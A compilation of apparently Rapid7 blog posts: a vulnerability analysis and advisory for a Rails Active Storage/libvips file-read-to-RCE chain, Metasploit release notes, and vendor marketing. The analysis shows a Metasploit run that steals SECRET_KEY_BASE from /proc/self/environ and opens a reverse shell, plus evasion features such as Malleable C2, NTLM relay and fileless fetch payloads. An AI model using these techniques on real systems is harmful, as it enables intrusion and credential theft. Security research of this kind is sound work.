The header mismatch also leaves a useful content signature. In the first 128 bytes, the file claims MATLAB 5.0 at bytes 0 through 9, but carries the MAT 7.3 version and endian tag at bytes 124 through 127. A normal MAT 5 file has the text but not the MAT 7.3 tag. A normal MAT 7.3 file has the tag but not the text.
Why variants are not required
A returned representation is the easiest way to get bytes back, but the advisory states that generating variants is not a separate requirement. Active Storage can also reach Vips::Image.new_from_file during image analysis after a blob is attached. Rails's forensic repository documents a MATLAB_empty variant in which libmatio reads external bytes while deriving an empty array's dimensions, so those bytes can surface as width and height instead of pixel values. That route does not depend on preserving pixel values.
Representation is one way to trigger the loader. That route needs a direct-upload blob, a representation trigger, and a way to see the image that comes back. The analyzer path can reach the same loader without returning a variant, although the attacker still needs some way to observe the resulting metadata or logs. For exploitation, the returned PNG is more useful because it carries far more data per request.
Why the patch works
The relevant v8.0.5 to v8.0.5.1 diff does not add another content-type check. Instead, it loads a new Active Storage Vips initializer from the analyzer path and disables the libvips operations that libvips itself already marks as untrusted:
diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
index 7e682b3b75fda..e262e1a842aa4 100644
--- a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -2,0 +3,2 @@
+require "active_storage/vips"
+
diff --git a/activestorage/lib/active_storage/vips.rb b/activestorage/lib/active_storage/vips.rb
new file mode 100644
index 0000000000000..16b2ddbfbaad1
--- /dev/null
+++ b/activestorage/lib/active_storage/vips.rb
@@ -0,0 +23,20 @@
+if ActiveStorage::VIPS_AVAILABLE
+ begin
+ # image_processing 2.0 calls Vips.block_untrusted(true) itself when it loads, so it has to load
+ # before the lines below. Leaving it to load later, when the transformer first asks for it,
+ # would disable the loaders again after an application's initializers had re-enabled them.
+ require "image_processing/vips"
+ rescue LoadError
+ # image_processing is only needed to generate variants, not to analyze blobs.
+ end
+
+ unless Vips.respond_to?(:block_untrusted) # <-- [20]
+ raise <<~ERROR.squish
+ libvips's unfuzzed operations are not safe to use with untrusted content, and Active Storage
+ cannot disable them. Disabling them requires libvips 8.13 or later and ruby-vips 2.2.1 or
+ later. Please upgrade libvips and ruby-vips, or remove the ruby-vips gem from your Gemfile.
+ ERROR
+ end
+
+ Vips.block_untrusted(true) # <-- [21]
+end
Active Storage's engine loads the Vips analyzer during initialization, so the new require "active_storage/vips" runs during boot rather than waiting for a later representation request. At [20], patched Active Storage refuses to boot if the loaded ruby-vips/libvips pair does not expose the blocking API it needs. At [21], it blocks those operations globally. Because matload is marked VIPS_OPERATION_UNTRUSTED, libvips skips it before the crafted file can reach libmatio.
From file read to code execution
The file read can recover arbitrary files readable by the Rails worker. On Linux, /proc/self/environ is a useful first target because it may contain SECRET_KEY_BASE, RAILS_MASTER_KEY, or service credentials, but the file-read primitive itself is not Linux-specific. Procfs is only a convenient route to Rails signing material. An exploit that relies only on /proc/self/environ will miss applications that keep secret_key_base in encrypted credentials or legacy secrets.yml files. Useful read targets in those cases include config/master.key, encrypted credential files, and legacy secrets.yml paths. Before using a candidate secret, an exploit can check it against a genuine signed Active Storage blob ID.
Once an attacker has recovered secret_key_base and derived the Active Storage verifier key, they can sign a new variation instead of replaying an existing one. Ethiack's write-up uses instance_eval for this step. We confirmed that the same Vips-side transformation validation gap also accepts the following JSON-compatible shapes:
In image_processing 1.14.0, Chainable#apply invokes the attacker-controlled transformation name on the builder:
def apply(operations)
operations.inject(self) do |builder, (name, argument)|
if argument == true || argument == nil
builder.public_send(name)
elsif argument.is_a?(Array)
builder.public_send(name, *argument) # <-- [22]
elsif argument.is_a?(Hash)
builder.public_send(name, **argument)
else
builder.public_send(name, argument)
end
end
end
At [22], a transformation named send reaches the builder's public send method. The first array element becomes a second method dispatch, which can invoke private Kernel#spawn or Kernel#eval. Execution occurs while the pipeline is being built, before normal image operations run. In our tests, the representation request returned HTTP 500 because spawn or eval returns a non-builder value after the payload has already executed.
This RCE path does not depend on a Marshal object gadget. We validated it against Rails 8.0.5 configured with config.active_support.message_serializer = :json. We also tested the same structure on older Rails branches whose signed messages used Marshal serialization, but the attacker-controlled data remains a Hash, Array, and String structure rather than a deserialization gadget.
The MAT/HDF5 file read and the missing Vips-side transformation validation are distinct parts of the RCE chain. Rails pull request rails/rails#56995 discusses the same Vips-side validation gap. CVE-2026-66066 matters here because the file read can recover the signing material needed to sign a malicious variation for the built-in representation route.
Exploitation
Our Metasploit module follows the representation-based chain described above. It creates crafted direct-upload blobs, confirms the file read against /proc/version, recovers and validates Rails signing material, signs an ImageProcessing variation, and triggers either send/spawn for command payloads or send/eval for native Ruby payloads.
The module uses the returned PNG representation instead of the narrower MATLAB_empty metadata channel because the PNG path returns larger chunks directly in the HTTP response and gives the module a read channel it can validate automatically during secret recovery. A standalone proof of concept targeting an application that only analyzes uploads could reasonably prefer MATLAB_empty, but that path depends on an application-specific way to observe width and height metadata or logs. For code execution, the module uses send/spawn and send/eval, which fit Metasploit command and Ruby payloads directly.
In the lab run below, the representation used by the module resized the image, so the module selected a 20x20 sharpened text-read layout and recovered 180 bytes per request. It then recovered SECRET_KEY_BASE from /proc/self/environ, signed a JSON variation, and opened a shell as the Rails process user:
msf6 > use exploit/multi/http/rails_activestorage_vips_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set RPORT 3003
RPORT => 3003
msf6 exploit(multi/http/rails_activestorage_vips_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(multi/http/rails_activestorage_vips_rce) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Selected the 20x20 sharpened text-read layout (180 bytes per request)
[+] The target is vulnerable. Recovered /proc/version with the 20x20 sharpened layout
[*] Reading up to 65536 bytes from /proc/self/environ
[*] Detected SHA1 Active Support verifier signatures
[*] Detected the Active Support json message serializer
[*] Validated SHA256 key derivation against a signed blob ID
[*] Stored recovered environment bytes in: /home/cryptocat/.msf4/loot/20260731004237_default_127.0.0.1_rails.process.en_047300.bin
[+] Recovered SECRET_KEY_BASE from /proc/self/environ
[*] Triggering the ImageProcessing send/spawn variation using a verifier key derived from /proc/self/environ
[*] Command shell session 1 opened
msf6 exploit(multi/http/rails_activestorage_vips_rce) > sessions -i 1 -c id
[*] Running 'id' on shell session 1 (127.0.0.1)
uid=1000(rails) gid=1000(rails) groups=1000(rails)
The SHA1 and SHA256 lines refer to separate Rails settings. The first is the MessageVerifier digest used on the signed blob ID. The second is the key-generator digest used to derive the Active Storage key.
Ethiack's published 1x1 oracle is byte-exact because interpolation has no adjacent pixel values to mix into the result. Our module also tries larger square uint8 layouts with /dev/zero columns between file bytes. With those columns, it can invert image_processing 1.14.0's vertical sharpen pass and recover more text per request. We still validate every recovered secret against a genuine Active Storage signature because the larger transport is not byte-exact for arbitrary binary data.
Remediation
For remediation guidance, see Rapid7's Emergent Threat Response blog and the Rails security advisory. The fixed Active Storage releases block untrusted libvips operations during initialization and require libvips 8.13 or later plus ruby-vips 2.2.1 or later when ruby-vips is installed.
Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consistent UI. This release is powered by Metasploit Framework 6.5.
Malleable C2 Profiles
One of the most requested capabilities in modern red-team engagements is the ability to blend Meterpreter's network traffic into legitimate-looking patterns. Metasploit Pro 5.1 brings full Malleable C2 profile support, powered by Metasploit Framework 6.5, directly into the Pro UI — no command-line knowledge required.
Malleable C2 profiles let you load a standard profile and reshape Meterpreter's HTTP(S) traffic to emulate legitimate services, browser sessions, or any other traffic pattern you need. All Meterpreter flavours — Windows, Linux, Java, Python, and PHP — are supported, including stageless and staged payloads (e.g. meterpreter/reverse_https and meterpreter_reverse_https). This functionality is compatible with publicly available profile libraries.
Profile support across the Pro UI
Malleable C2 profiles are now available in every part of the workflow where a payload is configured:
Single Module Run: The module options page now includes a Malleable C2 section.
Listeners (New & Edit): You can now choose from profiles already uploaded to the server or upload a new .profile file directly from your browser.
Payload Generator: The standalone payload generator also exposes the profile picker, so standalone payloads can carry the same C2 profile as the rest of your operation.
Figure 1 Malleable Profiles
Improved Payload Section
Alongside the Malleable C2 integration, the payload selector has been overhauled across the Listener, Module Run, and Payload Generator pages. You can now filter payloads by platform and stage, making it much faster to find the right payload in large lists.
Figure 2: Advanced Payload Options
Figure 3: Additional Payload Options
Service Hierarchy Tracking Support
The Discovered Services table has been overhauled with a cleaner, more capable interface consistent with the rest of Pro 5.1.
Service hierarchy visibility: The most significant new capability. Services can have parent-child relationships - for example, an HTTP service running over TCP, or a tunnelled protocol layered over another. The new table exposes this hierarchy directly with dedicated columns showing each service's parent and child services, so you can immediately understand how discovered services relate to one another without drilling into individual records.
Search and sort across all columns: You can now search across host name, host address, service name, protocol, port, and info in a single query. All major columns are sortable, including parent services.
Inline editing: Service fields (name, port, protocol, state, resource) can be edited directly from the table without navigating away.
Figure 4: Service Options
Figure 5: Service Hierarchy Display
Network Topology Enhancements
Building on Metasploit Pro 5.0's improvements to the Network Topology, we've added additional support and functionality for exploring your internal infrastructure. Previously, each node in the graph provided a high level summary of the host details when hovering over the node. This has now been moved into a dedicated side panel that surfaces everything you know about a host without leaving the topology view.
Rich host information panels
Click any node in the topology graph and the side panel now shows a consolidated summary of everything Metasploit knows about that host:
Sessions: all sessions (open and closed) opened against the host, including session type, exploit used, payload, and timestamps.
Loot: captured loot items associated with the host, including type, name, and content type.
Credentials: cracked and captured credentials organised by service, de-duplicated and sorted with successful logins first.
Modules run: a list of every module that has been executed against the host.
Tags: any tags applied to the host or its sessions.
Figure 6: Network Topology Display
New filter options
The topology graph toolbar has three new filters to help focus on the hosts that matter:
Filter by bruteforce - highlight services that can be bruteforced remotely on a host.
Filter by tag - narrow the graph to hosts carrying a specific session or host tag.
Filter by username - show only hosts where a particular user account has been compromised.
Filter by module - surface hosts that have had a specific module run against them.
Figure 7: Network Topology Graph Filter Options
Discovered Vulnerabilities - Modern UI
The Discovered Vulnerabilities table has been fully rewritten, bringing it in line with the UI overhaul introduced across the rest of Pro in 5.0.
Key improvements:
High level view and granular views - Each registered vulnerability provides a high view such as references and affected services, as well as a more granular expandable breakdown view.
Inline editing - vulnerability details can be edited directly from the table without navigating to a separate page.
Nexpose integration preserved - all existing InsightVM/Nexpose push and pull workflows are retained in the new implementation.
Figure 8: Discovered Vulnerabilities Modern UI
Attack technique filtering support
MITRE ATT&CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Metasploit Pro now supports searching for modules by these techniques:
Figure 9: Attack Technique Filtering Search
Upgrading
Existing Pro installations can be upgraded through the standard update mechanism. Full upgrade instructions are available in the Metasploit Pro documentation.
These features are available in Metasploit Pro 5.1.0 onwards. We're proud to collaborate with our customers, who are often the source of inspiration for product evolution. Ideas for improvements or enhancements can be shared with our Support team to help refine and submit them to the Product team on your behalf.
Ross Baker is Senior Director, Northern Europe at Rapid7.
As organizations across the United Kingdom and Ireland embrace AI, cloud technologies, and digital transformation in the name of enhancing customer experiences and accelerating business growth, the cybersecurity landscape must continue to evolve just as quickly.
In this environment, business leaders still expect security to enable innovation, not slow it down. They're pushed to reduce risk, improve visibility across expanding attack surfaces, and respond faster than ever before, with limited resources now table stakes. This is precisely why Rapid7 is excited to announce a new strategic distribution partnership with Exclusive Networks across the United Kingdom and Ireland, following previous announcements alongside the firm to better support partners across Benelux and the Nordics.
Organizations no longer want disconnected security tools or transactional vendor relationships. They're looking for trusted advisors who can help simplify security operations, strengthen cyber resilience, and deliver measurable business outcomes.
In this moment, cybersecurity customers are demanding experiences that create more calm. This means no more disconnected security tools or reactive approaches, but integrated security operations, trusted expertise, and partners who can help them improve visibility and build long-term cyber resilience.
Investing in partner success
The UK and Ireland represent one of Europe's most mature and partner-driven cybersecurity markets, with partners playing an increasingly important role in helping organizations modernize security operations for today’s AI-enabled threats.
This partnership with Exclusive Networks reflects Rapid7's continued investment in the regional channel ecosystem. More than expanding distribution, it's about empowering partners with specialist expertise, technical enablement, and the go-to-market support they need to grow their cybersecurity businesses with confidence.
Exclusive Networks has built an outstanding reputation as one of the UK's leading specialist cybersecurity distributors, combining deep technical expertise with a strong, partner-first approach.
Together, we're creating new opportunities for partners to strengthen their capabilities while delivering greater value to customers.
Helping partners deliver modern security operations
Security teams are increasingly looking for platforms that unify exposure management, threat detection, response, and automation. Again we go back to the urgent need for improved visibility while reducing operational complexity.
Rapid7's AI-powered cybersecurity operations platform helps organizations simplify SecOps through integrated exposure management, managed detection and response, and security automation. By bringing these capabilities together, customers can identify risk earlier, respond faster, and improve cyber resilience without adding more tools.
Combined with Exclusive Networks' technical enablement, solution engineering expertise, and established channel ecosystem, this new alliance makes it easier for partners to deliver integrated cybersecurity solutions while expanding managed security services and fostering long-term customer relationships.
Looking ahead
Rapid7 and Exclusive Networks share a common commitment to helping partners grow through technical excellence, collaboration, and continuous enablement. Together, we're investing in the resources, expertise, and support needed to help partners succeed in one of Europe's most dynamic cybersecurity markets.
Ready to grow with Rapid7? Head to our Partners page for more news, resources, and opportunities.
Black Hat USA returns to Mandalay Bay in Las Vegas this August, bringing together security practitioners, researchers, and leaders from around the world. Rapid7 will be there in the Business Hall, with new capabilities, live demonstrations, expert-led sessions, and two days of activities at the Border Grill.
This year, our focus is preemptive security: helping security teams anticipate credible risk, respond at machine speed, and maintain an accurate view of their security and compliance posture as their environment changes.
Visit the Rapid7 booth at Black Hat USA
You can find Rapid7 at booth #2445 in the Mandalay Bay Business Hall, open and running on the following days and times:
Tuesday, August 4: 4:00–7:00 p.m.
Wednesday, August 5: 9:00 a.m.–6:00 p.m.
Thursday, August 6: 9:00 a.m.–4:00 p.m.
The booth will include two demonstration stations, seating, giveaways, and our friendly team of Rapid7 experts – there to help you explore the challenges most relevant to your organization. A chess-inspired theme reflects the principle behind preemptive security: understanding what may happen next and acting before risk becomes an incident.
Live demonstrations will cover four connected areas of the Rapid7 platform:
Predictive risk and vulnerability management: See how attacker behavior and exposure context can help teams focus remediation on vulnerabilities that present credible risk.
Agentic threat detection and response: Explore how the Rapid7 AI Engine and technology from Kenzo Security support adaptive investigations and reduce the time analysts spend gathering context.
Continuous compliance automation: See how Cyber GRC connects governance workflows with live security data, automates evidence collection, and identifies control drift.
Preemptive MDR: Learn how continuous SOC operations, exposure context, and Rapid7 Labs threat intelligence can extend the coverage of internal security teams.
Explore the latest Rapid7 launches at Black Hat
Black Hat will provide a closer look at several additions to the Rapid7 platform, including the general availability of Cyber GRC.
Cyber GRC brings security operations and governance teams closer together by connecting GRC workflows with live security data. The solution draws evidence from SecOps telemetry into compliance dashboards, helping teams maintain a current view of their controls, while AI-assisted workflows reduce the manual inputs involved in third-party risk questionnaires and other repetitive tasks.
Attendees can also learn more about Preemptive MDR Alerts, predictive vulnerability management, and enhanced agentic SOC investigations. These capabilities combine exposure data, asset criticality, threat intelligence, and detection context to help teams identify where attackers are most likely to act. Some will be presented as early-access previews, so availability will vary.
Join us at Border Grill
Rapid7 will take over the Border Grill at Mandalay Bay on Wednesday, August 5 and Thursday, August 6. The space will include additional demonstrations, meeting areas, expert presentations, breakfasts & lunches, and opportunities to speak with Rapid7 leaders and product teams.
Rapid7 Executive Chairman Corey Thomas will discuss how AI-driven threats are changing security operations and what it takes to move toward a more preemptive model.
Agentic SOC: Threat Detection and Response
Thursday, August 6, 9:30–10:15 a.m.
Lisa Washburn, Senior Director of Product Management, will explore how AI agents can investigate alerts at machine speed while keeping expert judgment involved.
Cyber GRC in the Age of AI
Thursday, August 6, 11:30 a.m.–12:15 p.m.
Jon Schipp, Senior Director of Product Management, will show how live security data and automated evidence can support continuous audit readiness.
Border Grill will also host live demos, customer and executive meetings, and the Rapid7 Happy Hour on Wednesday. VIP access begins at 4:00 p.m., followed by general admission from 5:00–7:30 p.m.
Hear from Rapid7 security researchers
Rapid7 researchers Jack Heysel and Spencer McIntyre will present The Metasploit Framework 6.5: Malleable C2 Payloads, New Relay Capability and Protocol Session Upgrades at Arsenal Station 4 in the Business Hall on Wednesday, August 5 from 4:00–5:00 p.m.
Book time with Rapid7 at Black Hat
Whether your priority is reducing exposure, giving SOC analysts better context, improving response speed, or strengthening audit readiness, you can book a meeting or tailored demonstration with the Rapid7 team.
On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.
An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.
As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.
Update #1: On July 31, 2026, Rails published technical details and forensic tools earlier than its planned August 28 disclosure date after several researchers reverse-engineered the attack and published proof-of-concept code.
Technical overview
libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked "unfuzzed" or "untrusted" because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.
The attack details published by Rails describe a chain in which an attacker creates a blob through Active Storage's direct-upload endpoint with a false image content type and obtains a genuine signed variation_key from a page that renders an Active Storage representation. A crafted file identifies itself to libvips as a MATLAB level 5 file but to libmatio as a MAT 7.3 HDF5 container. HDF5's External File List then reads bytes from an attacker-selected path, which are rendered as image pixels and returned in the resulting variant. This known chain also requires the deployed libvips build to include the matload operation.
For this documented chain, the Active Storage direct-upload route must be reachable. When Active Storage routes are mounted, the direct-upload route is present by default even if the application's own interface does not use direct uploads. Rapid7 testing found that ordinary server-side attachment does not satisfy this chain because Rails re-identifies the crafted file as MATLAB data before variant processing.
The arbitrary file-read stage does not require knowledge of secret_key_base or a forged variation key. Rapid7 also verified an RCE escalation in which recovered Rails signing material is used to forge an ImageProcessing 1.x variation; this path does not require Marshal deserialization.
The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.
On August 3, 2026, Rapid7 Labs published a full root cause technical analysis of CVE-2026-66066, detailing the full RCE chain and accompanying metasploit module.
Mitigation guidance
Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.
Rails has published forensic tools to assess whether an application was vulnerable and search Active Storage data for crafted files. Because scheduled cleanup of unattached blobs may remove evidence, Rapid7 recommends beginning forensic assessment promptly.
The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The fixed Rails releases are:
Rails branch
Affected versions
Fixed version
Rails 7.x
7.0.0 through 7.2.3.1
7.2.3.2
Rails 8.0.x
8.0.0 through 8.0.5
8.0.5.1
Rails 8.1.x
8.1.0 through 8.1.3
8.1.3.1
The Rails advisory lists all Active Storage releases earlier than 7.2.3.2 as affected, which includes releases before Rails 7.0. Ethiack reports that Rails 6.0.0 through 6.1.7.10 may be affected when Active Storage is configured to use Vips, and Rapid7 has verified that the known attack works on the Rails 6.0 and 6.1 branches under that non-default configuration. Rails has not published fixed releases for branches earlier than 7.2, so affected applications on those branches should migrate to a supported fixed branch or apply the applicable workaround below.
When ruby-vips is installed, organizations should ensure it is 2.2.1 or later. Rails advises affected organizations to replace secret_key_base and other secrets accessible to the application process, including the Rails master key and the credentials it decrypts, storage service credentials, database credentials, and third-party service tokens or keys. Replacing secret_key_base expires active sessions and affects encrypted and signed cookies, signed global IDs, and Active Storage URLs.
As a temporary workaround on libvips 8.13 or later, organizations can set VIPS_BLOCK_UNTRUSTED or, with ruby-vips 2.2.1 or later, call Vips.block_untrusted(true) from an initializer. For libvips versions earlier than 8.13, Rails states that the only workaround is to remove the libvips dependency.
Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-66066 with vulnerability checks expected to be available in the July 31 content release.
Updates
July 30, 2026: Initial publication.
July 31, 2026: Updated with technical details and forensic resources published by Rails, and clarified the affected version range.
August 3, 2026: Added a Technical analysis section for the new Rapid7 Analysis.
IDC has named Rapid7 a Leader in the 2026 Worldwide Managed Detection and Response Service for Midmarket 2026 Vendor Assessment (Doc #US52992326, July 2026). We believe this recognition and research highlights where MDR is heading.
Many security programs are still built around a reactive sequence of detect, triage, and respond, but the timelines surrounding modern attacks have changed too quickly for that model to hold up on its own. Time-to-exploit has dropped from two years to 22 hours, while eCrime breakout time now sits at 29 minutes. In an environment like that, a program moving at human speed across siloed data, cannot keep pace. Rapid7’s view is that MDR must evolve accordingly, which is why we have been building toward a more preemptive security model.
What the IDC MarketScape said
The IDC MarketScape evaluation examined vendors across technical capability, service delivery, and strategic vision and two of IDC comments about Rapid7 stand out for us:
First, on how Rapid7’s MDR works differently:
"Rapid7's Preemptive MDR model, which natively integrates vulnerability context, asset criticality, and attack path data directly into the analyst investigation workflow, provides a structurally differentiated detection approach that connects threat activity to underlying exposure in real time."
This is the core of what we've built. Exposure management and detection and response work in our Command Platform’s unified data mesh, which means exposure context shapes what threats get surfaced, while active threat monitoring improves how exposure is prioritized. That connection is a meaningful part of how Rapid7 approaches MDR today.
Second, comments on threat intelligence:
"The combination of [Rapid7] Project Lorelei honeypot intelligence and Project Sonar internet-wide exposure data provides proprietary threat intelligence sources that are not replicated by other providers in the market."
This threat intelligence is fueled by Rapid7 Labs, our dedicated global threat research and intelligence division, which constantly analyzes the global attack surface. Project Sonar catalogs public internet exposure, and Project Lorelei is our global network of honeypots that catches live attacker traffic. Together, they give Rapid7 a proprietary source of intelligence that feeds directly into detection engineering and investigation workflows.
Where MDR is heading next:
The recognition is important to us, but the more useful question is where MDR is heading and how Rapid7 is building for that shift. We are actively deploying autonomous AI agents in our Agentic SOC to handle the first hour of forensic investigation, including volatile memory collection, identity flow correlation, and initial triage before a human analyst opens the case. In practical terms, that is what responding at machine speed starts to look like inside a modern SOC.
Our MDR offering, Managed Threat Complete, includes unlimited incident response and a $1M Breach Protection Warranty, adding a stronger level of accountability for organizations that want MDR outcomes backed by both service depth and financial protection.
Read IDC’s full evaluation of Rapid7 here. If you're evaluating your MDR approach, we'd like to show you what preemptive security could look like in your environment.
Today we’re proud to announce that Metasploit Framework version 6.5 has been released. Over the past two years, with the help of countless contributors, we’ve added 422 new modules along with a whole slew of new features.
Malleable C2 Profiles for HTTP
One of the latest and most requested features is support for Malleable C2 profiles across all current Meterpreter payloads. This feature enables users to load a standard profile into Meterpreter and change the shape of its HTTP(S) traffic. All Meterpreters, including Windows, Java, Python, PHP and Linux, have been updated with this functionality. Due to the size restrictions on staged payloads, staged payloads will only use the Malleable C2 configuration once the stage has been loaded. Since stageless payloads skip the download phase, they immediately use the Malleable C2 configuration.
When a compatible payload has been selected, the user only needs to set the MALLEABLEC2 option to the profile on disk. The syntax for profiles is the same as in other tools which ensures that Metasploit is capable of loading publicly available profiles. While not all of the directives are currently in use, additional improvements will be made in the future.
In the following example, an HTTP Meterpreter is deployed with a profile to emulate browsing Amazon.
msf exploit(windows/smb/psexec) > set PAYLOAD windows/x64/meterpreter_reverse_http
PAYLOAD => windows/x64/meterpreter_reverse_http
msf exploit(windows/smb/psexec) > set MALLEABLEC2 amazon.profile
MALLEABLEC2 => amazon.profile
msf exploit(windows/smb/psexec) > run
[*] Started HTTP reverse handler on http://192.168.159.128:8081/
[*] 192.168.159.10:445 - Connecting to the server...
[*] 192.168.159.10:445 - Authenticating to 192.168.159.10:445 as user 'smcintyre'...
[!] 192.168.159.10:445 - peer_native_os is only available with SMB1 (current version: SMB3)
[*] 192.168.159.10:445 - Uploading payload... BqjvmNxF.exe
[*] 192.168.159.10:445 - Created \BqjvmNxF.exe...
[+] 192.168.159.10:445 - Service started successfully...
[*] 192.168.159.10:445 - Deleting \BqjvmNxF.exe...
[*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Redirecting stageless: URI '/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books' with UA 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -> UUID NjFswaV1VEGJ1ojU44aMCAHc2CTIr56KDkzFLcyRHZ8Go9fwFFaBp8QSiN6WYHoH5j-Oz81kEMXA9tYzxcpvs5e
[*] http://192.168.159.128:8081/ handling request from 192.168.159.10; (UUID: lh15pukd) Attaching orphaned/stageless session...
[*] Meterpreter session 3 opened (192.168.159.128:8081 -> 192.168.159.10:49853) at 2026-07-09 16:34:39 -0400
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 9
Meterpreter : x64/windows
meterpreter >
For more information, usage instructions, and what profile verbs are supported, see the Malleable C2 documentation.
Metasploit Framework 6.5 Release - MCP Server
Metasploit 6.5 introduces the Metasploit MCP Server (msfmcpd), a new middleware layer designed to facilitate secure, structured interactions between AI applications and the Metasploit Framework. By leveraging the Model Context Protocol, the server exposes 16 standardized tools—ranging from complex reconnaissance queries to active session management—allowing users to integrate Metasploit’s powerful capabilities directly into AI-driven environments like Claude or Cursor.
Toolset Categorization
The toolset is partitioned into two distinct categories to prioritize operator oversight:
Read-Only Tools: These 12 tools are available by default and provide deep access to the Framework's intelligence. This includes modules for searching available exploits, querying discovered host/service data, retrieving stored credentials, and monitoring active jobs or sessions. These tools allow an LLM to provide situationally aware advice without modifying the state of the target environment. Perfect for use in sensitive environments where full AI autonomy is barred.
Dangerous Tools: To ensure safety, these 4 high-impact tools are disabled by default. This class includes methods for executing modules, using module checks, stopping sessions, and writing data to interactive sessions (like Meterpreter). To leverage these for automated exploitation, operators must explicitly enable them via CLI flag (--enable-dangerous-actions), environment variable, or configuration key.
Example LLM Workflow
With the MCP server configured, an LLM agent can automate parts of the penetration testing and vulnerability validation lifecycle. A typical workflow might look like this:
Reconnaissance: The LLM uses msf_host_info and msf_service_info to identify potential targets and msf_search_modules to find relevant exploits matching the target’s service versions.
Validation: Upon selecting a module, the agent calls msf_module_check (if enabled) to assess the target's susceptibility without triggering a full exploit attempt.
Exploitation: If the check confirms vulnerability, the agent proceeds with msf_module_execute, passing the necessary datastore options.
Interaction: Once a session is established, the agent uses msf_session_list to verify the connection and msf_session_read to parse session output, allowing it to interpret the environment and potentially msf_session_write commands to further the engagement.
This structure allows security professionals to offload repetitive telemetry gathering to AI agents while retaining a strict, policy-driven "human-in-the-loop" gate for all offensive actions.
Starting the MCP Server
You can start the server using the msfmcpd binary or directly within msfconsole:
Over the past few years, Metasploit has been making incremental improvements to its NTLM relaying capabilities. While NTLM is considered a legacy authentication protocol, it remains commonly deployed in enterprise environments. This release continues that trend by adding the second NTLM relay server to the framework; HTTP(S). Users can now start a malicious HTTP server that will prompt for authentication and relay it to one or more user-specified targets.
Users can leverage this capability with the new auxiliary/server/relay/http_to_smb and auxiliary/server/relay/http_to_ldap modules. These will open SMB and LDAP sessions respectively and allow the user to interact with the target server in the context of the user whose credentials were relayed. Interactive protocol sessions have been around for a couple of years now and offer users a more fault-tolerant way to interact with targets when compared to the old “only psexec” option. SMB sessions have also been updated with sessions -u support, enabling users to upgrade an interactive SMB session to a Meterpreter session using psexec when desired.
NTLMRelay2Self
The new capability to relay from an HTTP server to another target opens the possibility for unique attack workflows. One such technique is known as NTLMRelay2Self. This multi-step workflow involves coercing a target to authenticating to itself over HTTP which creates a relaying opportunity. After exploiting that relay opportunity, an attacker can establish an LDAP session to a domain controller, authenticated as the machine account. From this position they can leverage RBCD or Shadow Credentials to elevate their permissions on the target workstation (not the domain controller).
While all of these steps can be performed manually, Metasploit added a new exploits/windows/local/ntlm_relay_2_self module to automate this entire process, performing the relay step as well as the others in a single action. This particular attack technique does not have a patch but does require a local user on a domain joined workstation in order to exploit; effectively making it an evergreen LPE.
Fetch Payload Improvements
Fetch payloads were created to support users in writing exploits targeting the wave of new command injection vulnerabilities we saw coming in several years ago. They allow a user to generate a small command-based stager that runs on a target host and calls back to download a full binary payload to run it, giving users the ability to launch a fully-featured binary (EXE, ELF, or DLL) payload using only a single command injection. Three new features we added to extend the utility for Fetch Payloads to our users include Fileless Fetch Payloads, Pipe Fetch Payloads, and support for a new multi pseudoarchitecture payload. Fileless Fetch payloads are wonderfully named; previously, when the Fetch command stager ran, the binary payload was saved to a location on disk and launched. Fileless Fetch Payloads leverage a feature within the Linux Kernel after 3.17 that allows us to write a file directly to memory using the memfd_create syscall and execute it, so no files ever touch the target disk. There are three supported ways to use Fetch Fileless: Python3.8+, shell, and shell-search. Each uses a different technique to create a file in memory and launch it.
